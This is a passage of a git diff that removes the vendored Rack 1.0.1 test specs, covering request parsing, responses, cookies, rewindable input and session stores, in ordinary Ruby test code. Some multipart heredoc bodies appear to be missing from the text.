"23"}, {'X-test-header' => '42'}) - status.should.equal 200 - response["REQUEST_METHOD"].should.equal "POST" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/test" - response["QUERY_STRING"].should.equal "" - response["HTTP_X_TEST_HEADER"].should.equal "42" - response["test.postdata"].should.equal "rack-form-data=23" - end - - specify "should support HTTP auth" do - GET("/test", {:user => "ruth", :passwd => "secret"}) - response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" - end - - specify "should set status" do - GET("/test?secret") - status.should.equal 403 - response["rack.url_scheme"].should.equal "http" - end - - specify "should provide a .run" do - block_ran = false - Thread.new { - Rack::Handler::Mongrel.run(lambda {}, {:Port => 9211}) { |server| - server.should.be.kind_of Mongrel::HttpServer - block_ran = true - } - } - sleep 1 - block_ran.should.be true - end - - specify "should provide a .run that maps a hash" do - block_ran = false - Thread.new { - map = {'/'=>lambda{},'/foo'=>lambda{}} - Rack::Handler::Mongrel.run(map, :map => true, :Port => 9221) { |server| - server.should.be.kind_of Mongrel::HttpServer - server.classifier.uris.size.should.be 2 - server.classifier.uris.should.not.include '/arf' - server.classifier.uris.should.include '/' - server.classifier.uris.should.include '/foo' - block_ran = true - } - } - sleep 1 - block_ran.should.be true - end - - specify "should provide a .run that maps a urlmap" do - block_ran = false - Thread.new { - map = Rack::URLMap.new({'/'=>lambda{},'/bar'=>lambda{}}) - Rack::Handler::Mongrel.run(map, {:map => true, :Port => 9231}) { |server| - server.should.be.kind_of Mongrel::HttpServer - server.classifier.uris.size.should.be 2 - server.classifier.uris.should.not.include '/arf' - server.classifier.uris.should.include '/' - server.classifier.uris.should.include '/bar' - block_ran = true - } - } - sleep 1 - block_ran.should.be true - end - - specify "should provide a .run that maps a urlmap restricting by host" do - block_ran = false - Thread.new { - map = Rack::URLMap.new({ - '/' => lambda{}, - '/foo' => lambda{}, - '/bar' => lambda{}, - 'http://localhost/' => lambda{}, - 'http://localhost/bar' => lambda{}, - 'http://falsehost/arf' => lambda{}, - 'http://falsehost/qux' => lambda{} - }) - opt = {:map => true, :Port => 9241, :Host => 'localhost'} - Rack::Handler::Mongrel.run(map, opt) { |server| - server.should.be.kind_of Mongrel::HttpServer - server.classifier.uris.should.include '/' - server.classifier.handler_map['/'].size.should.be 2 - server.classifier.uris.should.include '/foo' - server.classifier.handler_map['/foo'].size.should.be 1 - server.classifier.uris.should.include '/bar' - server.classifier.handler_map['/bar'].size.should.be 2 - server.classifier.uris.should.not.include '/qux' - server.classifier.uris.should.not.include '/arf' - server.classifier.uris.size.should.be 3 - block_ran = true - } - } - sleep 1 - block_ran.should.be true - end - - specify "should stream #each part of the response" do - body = '' - begin - Timeout.timeout(1) do - Net::HTTP.start(@host, @port) do |http| - get = Net::HTTP::Get.new('/stream') - http.request(get) do |response| - response.read_body { |part| body << part } - end - end - end - rescue Timeout::Error - end - body.should.not.be.empty - end - - teardown do - @acc.raise Mongrel::StopServer - end -end - -rescue LoadError - $stderr.puts "Skipping Rack::Handler::Mongrel tests (Mongrel is required). `gem install mongrel` and try again." -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_recursive.rb b/vendor/gems/rack-1.0.1/test/spec_rack_recursive.rb deleted file mode 100644 index afc1a0d9..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_recursive.rb +++ /dev/null @@ -1,77 +0,0 @@ -require 'test/spec' - -require 'rack/recursive' -require 'rack/urlmap' -require 'rack/response' -require 'rack/mock' - -context "Rack::Recursive" do - setup do - - @app1 = lambda { |env| - res = Rack::Response.new - res["X-Path-Info"] = env["PATH_INFO"] - res["X-Query-String"] = env["QUERY_STRING"] - res.finish do |res| - res.write "App1" - end - } - - @app2 = lambda { |env| - Rack::Response.new.finish do |res| - res.write "App2" - _, _, body = env['rack.recursive.include'].call(env, "/app1") - body.each { |b| - res.write b - } - end - } - - @app3 = lambda { |env| - raise Rack::ForwardRequest.new("/app1") - } - - @app4 = lambda { |env| - raise Rack::ForwardRequest.new("http://example.org/app1/quux?meh") - } - - end - - specify "should allow for subrequests" do - res = Rack::MockRequest.new(Rack::Recursive.new( - Rack::URLMap.new("/app1" => @app1, - "/app2" => @app2))). - get("/app2") - - res.should.be.ok - res.body.should.equal "App2App1" - end - - specify "should raise error on requests not below the app" do - app = Rack::URLMap.new("/app1" => @app1, - "/app" => Rack::Recursive.new( - Rack::URLMap.new("/1" => @app1, - "/2" => @app2))) - - lambda { - Rack::MockRequest.new(app).get("/app/2") - }.should.raise(ArgumentError). - message.should =~ /can only include below/ - end - - specify "should support forwarding" do - app = Rack::Recursive.new(Rack::URLMap.new("/app1" => @app1, - "/app3" => @app3, - "/app4" => @app4)) - - res = Rack::MockRequest.new(app).get("/app3") - res.should.be.ok - res.body.should.equal "App1" - - res = Rack::MockRequest.new(app).get("/app4") - res.should.be.ok - res.body.should.equal "App1" - res["X-Path-Info"].should.equal "/quux" - res["X-Query-String"].should.equal "meh" - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_request.rb b/vendor/gems/rack-1.0.1/test/spec_rack_request.rb deleted file mode 100644 index 74e2f00a..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_request.rb +++ /dev/null @@ -1,504 +0,0 @@ -require 'test/spec' -require 'stringio' - -require 'rack/request' -require 'rack/mock' - -context "Rack::Request" do - specify "wraps the rack variables" do - req = Rack::Request.new(Rack::MockRequest.env_for("http://example.com:8080/")) - - req.body.should.respond_to? :gets - req.scheme.should.equal "http" - req.request_method.should.equal "GET" - - req.should.be.get - req.should.not.be.post - req.should.not.be.put - req.should.not.be.delete - req.should.not.be.head - - req.script_name.should.equal "" - req.path_info.should.equal "/" - req.query_string.should.equal "" - - req.host.should.equal "example.com" - req.port.should.equal 8080 - - req.content_length.should.equal "0" - req.content_type.should.be.nil - end - - specify "can figure out the correct host" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", "HTTP_HOST" => "www2.example.org") - req.host.should.equal "www2.example.org" - - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", "SERVER_NAME" => "example.org:9292") - req.host.should.equal "example.org" - - env = Rack::MockRequest.env_for("/") - env.delete("SERVER_NAME") - req = Rack::Request.new(env) - req.host.should.equal "" - end - - specify "can parse the query string" do - req = Rack::Request.new(Rack::MockRequest.env_for("/?foo=bar&quux=bla")) - req.query_string.should.equal "foo=bar&quux=bla" - req.GET.should.equal "foo" => "bar", "quux" => "bla" - req.POST.should.be.empty - req.params.should.equal "foo" => "bar", "quux" => "bla" - end - - specify "can parse POST data" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/?foo=quux", :input => "foo=bar&quux=bla") - req.content_type.should.be.nil - req.media_type.should.be.nil - req.query_string.should.equal "foo=quux" - req.GET.should.equal "foo" => "quux" - req.POST.should.equal "foo" => "bar", "quux" => "bla" - req.params.should.equal "foo" => "bar", "quux" => "bla" - end - - specify "can parse POST data with explicit content type" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", - "CONTENT_TYPE" => 'application/x-www-form-urlencoded;foo=bar', - :input => "foo=bar&quux=bla") - req.content_type.should.equal 'application/x-www-form-urlencoded;foo=bar' - req.media_type.should.equal 'application/x-www-form-urlencoded' - req.media_type_params['foo'].should.equal 'bar' - req.POST.should.equal "foo" => "bar", "quux" => "bla" - req.params.should.equal "foo" => "bar", "quux" => "bla" - end - - specify "does not parse POST data when media type is not form-data" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/?foo=quux", - "CONTENT_TYPE" => 'text/plain;charset=utf-8', - :input => "foo=bar&quux=bla") - req.content_type.should.equal 'text/plain;charset=utf-8' - req.media_type.should.equal 'text/plain' - req.media_type_params['charset'].should.equal 'utf-8' - req.POST.should.be.empty - req.params.should.equal "foo" => "quux" - req.body.read.should.equal "foo=bar&quux=bla" - end - - specify "rewinds input after parsing POST data" do - input = StringIO.new("foo=bar&quux=bla") - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", - "CONTENT_TYPE" => 'application/x-www-form-urlencoded;foo=bar', - :input => input) - req.params.should.equal "foo" => "bar", "quux" => "bla" - input.read.should.equal "foo=bar&quux=bla" - end - - specify "cleans up Safari's ajax POST body" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", :input => "foo=bar&quux=bla\0") - req.POST.should.equal "foo" => "bar", "quux" => "bla" - end - - specify "can get value by key from params with #[]" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("?foo=quux") - req['foo'].should.equal 'quux' - req[:foo].should.equal 'quux' - end - - specify "can set value to key on params with #[]=" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("?foo=duh") - req['foo'].should.equal 'duh' - req[:foo].should.equal 'duh' - req.params.should.equal 'foo' => 'duh' - - req['foo'] = 'bar' - req.params.should.equal 'foo' => 'bar' - req['foo'].should.equal 'bar' - req[:foo].should.equal 'bar' - - req[:foo] = 'jaz' - req.params.should.equal 'foo' => 'jaz' - req['foo'].should.equal 'jaz' - req[:foo].should.equal 'jaz' - end - - specify "values_at answers values by keys in order given" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("?foo=baz&wun=der&bar=ful") - req.values_at('foo').should.equal ['baz'] - req.values_at('foo', 'wun').should.equal ['baz', 'der'] - req.values_at('bar', 'foo', 'wun').should.equal ['ful', 'baz', 'der'] - end - - specify "referrer should be extracted correct" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", "HTTP_REFERER" => "/some/path") - req.referer.should.equal "/some/path" - - req = Rack::Request.new \ - Rack::MockRequest.env_for("/") - req.referer.should.equal "/" - end - - specify "can cache, but invalidates the cache" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/?foo=quux", :input => "foo=bar&quux=bla") - req.GET.should.equal "foo" => "quux" - req.GET.should.equal "foo" => "quux" - req.env["QUERY_STRING"] = "bla=foo" - req.GET.should.equal "bla" => "foo" - req.GET.should.equal "bla" => "foo" - - req.POST.should.equal "foo" => "bar", "quux" => "bla" - req.POST.should.equal "foo" => "bar", "quux" => "bla" - req.env["rack.input"] = StringIO.new("foo=bla&quux=bar") - req.POST.should.equal "foo" => "bla", "quux" => "bar" - req.POST.should.equal "foo" => "bla", "quux" => "bar" - end - - specify "can figure out if called via XHR" do - req = Rack::Request.new(Rack::MockRequest.env_for("")) - req.should.not.be.xhr - - req = Rack::Request.new \ - Rack::MockRequest.env_for("", "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest") - req.should.be.xhr - end - - specify "can parse cookies" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("", "HTTP_COOKIE" => "foo=bar;quux=h&m") - req.cookies.should.equal "foo" => "bar", "quux" => "h&m" - req.cookies.should.equal "foo" => "bar", "quux" => "h&m" - req.env.delete("HTTP_COOKIE") - req.cookies.should.equal({}) - end - - specify "parses cookies according to RFC 2109" do - req = Rack::Request.new \ - Rack::MockRequest.env_for('', 'HTTP_COOKIE' => 'foo=bar;foo=car') - req.cookies.should.equal 'foo' => 'bar' - end - - specify "provides setters" do - req = Rack::Request.new(e=Rack::MockRequest.env_for("")) - req.script_name.should.equal "" - req.script_name = "/foo" - req.script_name.should.equal "/foo" - e["SCRIPT_NAME"].should.equal "/foo" - - req.path_info.should.equal "/" - req.path_info = "/foo" - req.path_info.should.equal "/foo" - e["PATH_INFO"].should.equal "/foo" - end - - specify "provides the original env" do - req = Rack::Request.new(e=Rack::MockRequest.env_for("")) - req.env.should.be e - end - - specify "can restore the URL" do - Rack::Request.new(Rack::MockRequest.env_for("")).url. - should.equal "http://example.org/" - Rack::Request.new(Rack::MockRequest.env_for("", "SCRIPT_NAME" => "/foo")).url. - should.equal "http://example.org/foo/" - Rack::Request.new(Rack::MockRequest.env_for("/foo")).url. - should.equal "http://example.org/foo" - Rack::Request.new(Rack::MockRequest.env_for("?foo")).url. - should.equal "http://example.org/?foo" - Rack::Request.new(Rack::MockRequest.env_for("http://example.org:8080/")).url. - should.equal "http://example.org:8080/" - Rack::Request.new(Rack::MockRequest.env_for("https://example.org/")).url. - should.equal "https://example.org/" - - Rack::Request.new(Rack::MockRequest.env_for("https://example.com:8080/foo?foo")).url. - should.equal "https://example.com:8080/foo?foo" - end - - specify "can restore the full path" do - Rack::Request.new(Rack::MockRequest.env_for("")).fullpath. - should.equal "/" - Rack::Request.new(Rack::MockRequest.env_for("", "SCRIPT_NAME" => "/foo")).fullpath. - should.equal "/foo/" - Rack::Request.new(Rack::MockRequest.env_for("/foo")).fullpath. - should.equal "/foo" - Rack::Request.new(Rack::MockRequest.env_for("?foo")).fullpath. - should.equal "/?foo" - Rack::Request.new(Rack::MockRequest.env_for("http://example.org:8080/")).fullpath. - should.equal "/" - Rack::Request.new(Rack::MockRequest.env_for("https://example.org/")).fullpath. - should.equal "/" - - Rack::Request.new(Rack::MockRequest.env_for("https://example.com:8080/foo?foo")).fullpath. - should.equal "/foo?foo" - end - - specify "can handle multiple media type parameters" do - req = Rack::Request.new \ - Rack::MockRequest.env_for("/", - "CONTENT_TYPE" => 'text/plain; foo=BAR,baz=bizzle dizzle;BLING=bam') - req.should.not.be.form_data - req.media_type_params.should.include 'foo' - req.media_type_params['foo'].should.equal 'BAR' - req.media_type_params.should.include 'baz' - req.media_type_params['baz'].should.equal 'bizzle dizzle' - req.media_type_params.should.not.include 'BLING' - req.media_type_params.should.include 'bling' - req.media_type_params['bling'].should.equal 'bam' - end - - specify "can parse multipart form data" do - # Adapted from RFC 1867. - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => input) - - req.POST.should.include "fileupload" - req.POST.should.include "reply" - - req.should.be.form_data - req.content_length.should.equal input.size - req.media_type.should.equal 'multipart/form-data' - req.media_type_params.should.include 'boundary' - req.media_type_params['boundary'].should.equal 'AaB03x' - - req.POST["reply"].should.equal "yes" - - f = req.POST["fileupload"] - f.should.be.kind_of Hash - f[:type].should.equal "image/jpeg" - f[:filename].should.equal "dj.jpg" - f.should.include :tempfile - f[:tempfile].size.should.equal 76 - end - - specify "can parse big multipart form data" do - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => input) - - req.POST["huge"][:tempfile].size.should.equal 32768 - req.POST["mean"][:tempfile].size.should.equal 10 - req.POST["mean"][:tempfile].read.should.equal "--AaB03xha" - end - - specify "can detect invalid multipart form data" do - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => input) - - lambda { req.POST }.should.raise(EOFError) - - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => input) - - lambda { req.POST }.should.raise(EOFError) - - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => input) - - lambda { req.POST }.should.raise(EOFError) - end - - specify "shouldn't try to interpret binary as utf8" do - begin - original_kcode = $KCODE - $KCODE='UTF8' - - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => input) - - lambda{req.POST}.should.not.raise(EOFError) - req.POST["fileupload"][:tempfile].size.should.equal 4 - ensure - $KCODE = original_kcode - end - end - - - specify "should work around buggy 1.8.* Tempfile equality" do - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size, - :input => rack_input) - - lambda {req.POST}.should.not.raise - lambda {req.POST}.should.blaming("input re-processed!").not.raise - end - - specify "does conform to the Rack spec" do - app = lambda { |env| - content = Rack::Request.new(env).POST["file"].inspect - size = content.respond_to?(:bytesize) ? content.bytesize : content.size - [200, {"Content-Type" => "text/html", "Content-Length" => size.to_s}, [content]] - } - - input = < "multipart/form-data, boundary=AaB03x", - "CONTENT_LENGTH" => input.size.to_s, "rack.input" => StringIO.new(input) - - res.should.be.ok - end - - specify "should parse Accept-Encoding correctly" do - parser = lambda do |x| - Rack::Request.new(Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => x)).accept_encoding - end - - parser.call(nil).should.equal([]) - - parser.call("compress, gzip").should.equal([["compress", 1.0], ["gzip", 1.0]]) - parser.call("").should.equal([]) - parser.call("*").should.equal([["*", 1.0]]) - parser.call("compress;q=0.5, gzip;q=1.0").should.equal([["compress", 0.5], ["gzip", 1.0]]) - parser.call("gzip;q=1.0, identity; q=0.5, *;q=0").should.equal([["gzip", 1.0], ["identity", 0.5], ["*", 0] ]) - - lambda { parser.call("gzip ; q=1.0") }.should.raise(RuntimeError) - end - - specify 'should provide ip information' do - app = lambda { |env| - request = Rack::Request.new(env) - response = Rack::Response.new - response.write request.ip - response.finish - } - - mock = Rack::MockRequest.new(Rack::Lint.new(app)) - res = mock.get '/', 'REMOTE_ADDR' => '123.123.123.123' - res.body.should.equal '123.123.123.123' - - res = mock.get '/', - 'REMOTE_ADDR' => '123.123.123.123', - 'HTTP_X_FORWARDED_FOR' => '234.234.234.234' - - res.body.should.equal '234.234.234.234' - - res = mock.get '/', - 'REMOTE_ADDR' => '123.123.123.123', - 'HTTP_X_FORWARDED_FOR' => '234.234.234.234,212.212.212.212' - - res.body.should.equal '212.212.212.212' - end - - class MyRequest < Rack::Request - def params - {:foo => "bar"} - end - end - - specify "should allow subclass request to be instantiated after parent request" do - env = Rack::MockRequest.env_for("/?foo=bar") - - req1 = Rack::Request.new(env) - req1.GET.should.equal "foo" => "bar" - req1.params.should.equal "foo" => "bar" - - req2 = MyRequest.new(env) - req2.GET.should.equal "foo" => "bar" - req2.params.should.equal :foo => "bar" - end - - specify "should allow parent request to be instantiated after subclass request" do - env = Rack::MockRequest.env_for("/?foo=bar") - - req1 = MyRequest.new(env) - req1.GET.should.equal "foo" => "bar" - req1.params.should.equal :foo => "bar" - - req2 = Rack::Request.new(env) - req2.GET.should.equal "foo" => "bar" - req2.params.should.equal "foo" => "bar" - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_response.rb b/vendor/gems/rack-1.0.1/test/spec_rack_response.rb deleted file mode 100644 index eb59b5c2..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_response.rb +++ /dev/null @@ -1,218 +0,0 @@ -require 'test/spec' -require 'set' - -require 'rack/response' - -context "Rack::Response" do - specify "has sensible default values" do - response = Rack::Response.new - status, header, body = response.finish - status.should.equal 200 - header.should.equal "Content-Type" => "text/html" - body.each { |part| - part.should.equal "" - } - - response = Rack::Response.new - status, header, body = *response - status.should.equal 200 - header.should.equal "Content-Type" => "text/html" - body.each { |part| - part.should.equal "" - } - end - - specify "can be written to" do - response = Rack::Response.new - - status, header, body = response.finish do - response.write "foo" - response.write "bar" - response.write "baz" - end - - parts = [] - body.each { |part| parts << part } - - parts.should.equal ["foo", "bar", "baz"] - end - - specify "can set and read headers" do - response = Rack::Response.new - response["Content-Type"].should.equal "text/html" - response["Content-Type"] = "text/plain" - response["Content-Type"].should.equal "text/plain" - end - - specify "can set cookies" do - response = Rack::Response.new - - response.set_cookie "foo", "bar" - response["Set-Cookie"].should.equal "foo=bar" - response.set_cookie "foo2", "bar2" - response["Set-Cookie"].should.equal ["foo=bar", "foo2=bar2"] - response.set_cookie "foo3", "bar3" - response["Set-Cookie"].should.equal ["foo=bar", "foo2=bar2", "foo3=bar3"] - end - - specify "formats the Cookie expiration date accordingly to RFC 2109" do - response = Rack::Response.new - - response.set_cookie "foo", {:value => "bar", :expires => Time.now+10} - response["Set-Cookie"].should.match( - /expires=..., \d\d-...-\d\d\d\d \d\d:\d\d:\d\d .../) - end - - specify "can set secure cookies" do - response = Rack::Response.new - response.set_cookie "foo", {:value => "bar", :secure => true} - response["Set-Cookie"].should.equal "foo=bar; secure" - end - - specify "can set http only cookies" do - response = Rack::Response.new - response.set_cookie "foo", {:value => "bar", :httponly => true} - response["Set-Cookie"].should.equal "foo=bar; HttpOnly" - end - - specify "can delete cookies" do - response = Rack::Response.new - response.set_cookie "foo", "bar" - response.set_cookie "foo2", "bar2" - response.delete_cookie "foo" - response["Set-Cookie"].should.equal ["foo2=bar2", - "foo=; expires=Thu, 01-Jan-1970 00:00:00 GMT"] - end - - specify "can do redirects" do - response = Rack::Response.new - response.redirect "/foo" - status, header, body = response.finish - - status.should.equal 302 - header["Location"].should.equal "/foo" - - response = Rack::Response.new - response.redirect "/foo", 307 - status, header, body = response.finish - - status.should.equal 307 - end - - specify "has a useful constructor" do - r = Rack::Response.new("foo") - status, header, body = r.finish - str = ""; body.each { |part| str << part } - str.should.equal "foo" - - r = Rack::Response.new(["foo", "bar"]) - status, header, body = r.finish - str = ""; body.each { |part| str << part } - str.should.equal "foobar" - - r = Rack::Response.new(["foo", "bar"].to_set) - r.write "foo" - status, header, body = r.finish - str = ""; body.each { |part| str << part } - str.should.equal "foobarfoo" - - r = Rack::Response.new([], 500) - r.status.should.equal 500 - end - - specify "has a constructor that can take a block" do - r = Rack::Response.new { |res| - res.status = 404 - res.write "foo" - } - status, header, body = r.finish - str = ""; body.each { |part| str << part } - str.should.equal "foo" - status.should.equal 404 - end - - specify "doesn't return invalid responses" do - r = Rack::Response.new(["foo", "bar"], 204) - status, header, body = r.finish - str = ""; body.each { |part| str << part } - str.should.be.empty - header["Content-Type"].should.equal nil - - lambda { - Rack::Response.new(Object.new) - }.should.raise(TypeError). - message.should =~ /stringable or iterable required/ - end - - specify "knows if it's empty" do - r = Rack::Response.new - r.should.be.empty - r.write "foo" - r.should.not.be.empty - - r = Rack::Response.new - r.should.be.empty - r.finish - r.should.be.empty - - r = Rack::Response.new - r.should.be.empty - r.finish { } - r.should.not.be.empty - end - - specify "should provide access to the HTTP status" do - res = Rack::Response.new - res.status = 200 - res.should.be.successful - res.should.be.ok - - res.status = 404 - res.should.not.be.successful - res.should.be.client_error - res.should.be.not_found - - res.status = 501 - res.should.not.be.successful - res.should.be.server_error - - res.status = 307 - res.should.be.redirect - end - - specify "should provide access to the HTTP headers" do - res = Rack::Response.new - res["Content-Type"] = "text/yaml" - - res.should.include "Content-Type" - res.headers["Content-Type"].should.equal "text/yaml" - res["Content-Type"].should.equal "text/yaml" - res.content_type.should.equal "text/yaml" - res.content_length.should.be.nil - res.location.should.be.nil - end - - specify "does not add or change Content-Length when #finish()ing" do - res = Rack::Response.new - res.status = 200 - res.finish - res.headers["Content-Length"].should.be.nil - - res = Rack::Response.new - res.status = 200 - res.headers["Content-Length"] = "10" - res.finish - res.headers["Content-Length"].should.equal "10" - end - - specify "updates Content-Length when body appended to using #write" do - res = Rack::Response.new - res.status = 200 - res.headers["Content-Length"].should.be.nil - res.write "Hi" - res.headers["Content-Length"].should.equal "2" - res.write " there" - res.headers["Content-Length"].should.equal "8" - end - -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_rewindable_input.rb b/vendor/gems/rack-1.0.1/test/spec_rack_rewindable_input.rb deleted file mode 100644 index 78bebfc9..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_rewindable_input.rb +++ /dev/null @@ -1,118 +0,0 @@ -require 'test/spec' -require 'stringio' -require 'rack/rewindable_input' - -shared_context "a rewindable IO object" do - setup do - @rio = Rack::RewindableInput.new(@io) - end - - teardown do - @rio.close - end - - specify "should be able to handle to read()" do - @rio.read.should.equal "hello world" - end - - specify "should be able to handle to read(nil)" do - @rio.read(nil).should.equal "hello world" - end - - specify "should be able to handle to read(length)" do - @rio.read(1).should.equal "h" - end - - specify "should be able to handle to read(length, buffer)" do - buffer = "" - result = @rio.read(1, buffer) - result.should.equal "h" - result.object_id.should.equal buffer.object_id - end - - specify "should be able to handle to read(nil, buffer)" do - buffer = "" - result = @rio.read(nil, buffer) - result.should.equal "hello world" - result.object_id.should.equal buffer.object_id - end - - specify "should rewind to the beginning when #rewind is called" do - @rio.read(1) - @rio.rewind - @rio.read.should.equal "hello world" - end - - specify "should be able to handle gets" do - @rio.gets.should == "hello world" - end - - specify "should be able to handle each" do - array = [] - @rio.each do |data| - array << data - end - array.should.equal(["hello world"]) - end - - specify "should not buffer into a Tempfile if no data has been read yet" do - @rio.instance_variable_get(:@rewindable_io).should.be.nil - end - - specify "should buffer into a Tempfile when data has been consumed for the first time" do - @rio.read(1) - tempfile = @rio.instance_variable_get(:@rewindable_io) - tempfile.should.not.be.nil - @rio.read(1) - tempfile2 = @rio.instance_variable_get(:@rewindable_io) - tempfile2.should.equal tempfile - end - - specify "should close the underlying tempfile upon calling #close" do - @rio.read(1) - tempfile = @rio.instance_variable_get(:@rewindable_io) - @rio.close - tempfile.should.be.closed - end - - specify "should be possibel to call #close when no data has been buffered yet" do - @rio.close - end - - specify "should be possible to call #close multiple times" do - @rio.close - @rio.close - end -end - -context "Rack::RewindableInput" do - context "given an IO object that is already rewindable" do - setup do - @io = StringIO.new("hello world") - end - - it_should_behave_like "a rewindable IO object" - end - - context "given an IO object that is not rewindable" do - setup do - @io = StringIO.new("hello world") - @io.instance_eval do - undef :rewind - end - end - - it_should_behave_like "a rewindable IO object" - end - - context "given an IO object whose rewind method raises Errno::ESPIPE" do - setup do - @io = StringIO.new("hello world") - def @io.rewind - raise Errno::ESPIPE, "You can't rewind this!" - end - end - - it_should_behave_like "a rewindable IO object" - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_session_cookie.rb b/vendor/gems/rack-1.0.1/test/spec_rack_session_cookie.rb deleted file mode 100644 index 3be88b43..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_session_cookie.rb +++ /dev/null @@ -1,82 +0,0 @@ -require 'test/spec' - -require 'rack/session/cookie' -require 'rack/mock' -require 'rack/response' - -context "Rack::Session::Cookie" do - incrementor = lambda { |env| - env["rack.session"]["counter"] ||= 0 - env["rack.session"]["counter"] += 1 - Rack::Response.new(env["rack.session"].inspect).to_a - } - - specify "creates a new cookie" do - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)).get("/") - res["Set-Cookie"].should.match("rack.session=") - res.body.should.equal '{"counter"=>1}' - end - - specify "loads from a cookie" do - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)).get("/") - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)). - get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>2}' - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)). - get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>3}' - end - - specify "survives broken cookies" do - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor)). - get("/", "HTTP_COOKIE" => "rack.session=blarghfasel") - res.body.should.equal '{"counter"=>1}' - end - - bigcookie = lambda { |env| - env["rack.session"]["cookie"] = "big" * 3000 - Rack::Response.new(env["rack.session"].inspect).to_a - } - - specify "barks on too big cookies" do - lambda { - Rack::MockRequest.new(Rack::Session::Cookie.new(bigcookie)). - get("/", :fatal => true) - }.should.raise(Rack::MockRequest::FatalWarning) - end - - specify "creates a new cookie with integrity hash" do - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')).get("/") - if RUBY_VERSION < "1.9" - res["Set-Cookie"].should.match("rack.session=BAh7BiIMY291bnRlcmkG%0A--1439b4d37b9d4b04c603848382f712d6fcd31088") - else - res["Set-Cookie"].should.match("rack.session=BAh7BkkiDGNvdW50ZXIGOg1lbmNvZGluZyINVVMtQVNDSUlpBg%3D%3D%0A--d7a6637b94d2728194a96c18484e1f7ed9074a83") - end - end - - specify "loads from a cookie wih integrity hash" do - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')).get("/") - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')). - get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>2}' - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(Rack::Session::Cookie.new(incrementor, :secret => 'test')). - get("/", "HTTP_COOKIE" => cookie) - res.body.should.equal '{"counter"=>3}' - end - - specify "ignores tampered with session cookies" do - app = Rack::Session::Cookie.new(incrementor, :secret => 'test') - response1 = Rack::MockRequest.new(app).get("/") - _, digest = response1["Set-Cookie"].split("--") - tampered_with_cookie = "hackerman-was-here" + "--" + digest - response2 = Rack::MockRequest.new(app).get("/", "HTTP_COOKIE" => - tampered_with_cookie) - - # The tampered-with cookie is ignored, so we get back an identical Set-Cookie - response2["Set-Cookie"].should.equal(response1["Set-Cookie"]) - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_session_memcache.rb b/vendor/gems/rack-1.0.1/test/spec_rack_session_memcache.rb deleted file mode 100644 index 37c3d895..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_session_memcache.rb +++ /dev/null @@ -1,240 +0,0 @@ -require 'test/spec' - -begin - require 'rack/session/memcache' - require 'rack/mock' - require 'rack/response' - require 'thread' - - context "Rack::Session::Memcache" do - session_key = Rack::Session::Memcache::DEFAULT_OPTIONS[:key] - session_match = /#{session_key}=[0-9a-fA-F]+;/ - incrementor = lambda do |env| - env["rack.session"]["counter"] ||= 0 - env["rack.session"]["counter"] += 1 - Rack::Response.new(env["rack.session"].inspect).to_a - end - drop_session = proc do |env| - env['rack.session.options'][:drop] = true - incrementor.call(env) - end - renew_session = proc do |env| - env['rack.session.options'][:renew] = true - incrementor.call(env) - end - defer_session = proc do |env| - env['rack.session.options'][:defer] = true - incrementor.call(env) - end - - specify "MemCache can connect to existing server" do - test_pool = MemCache.new :namespace => 'test:rack:session' - end - - specify "faults on no connection" do - lambda do - Rack::Session::Memcache.new(incrementor, :memcache_server => '') - end.should.raise - end - - specify "creates a new cookie" do - pool = Rack::Session::Memcache.new(incrementor) - res = Rack::MockRequest.new(pool).get("/") - res["Set-Cookie"].should.match("#{session_key}=") - res.body.should.equal '{"counter"=>1}' - end - - specify "determines session from a cookie" do - pool = 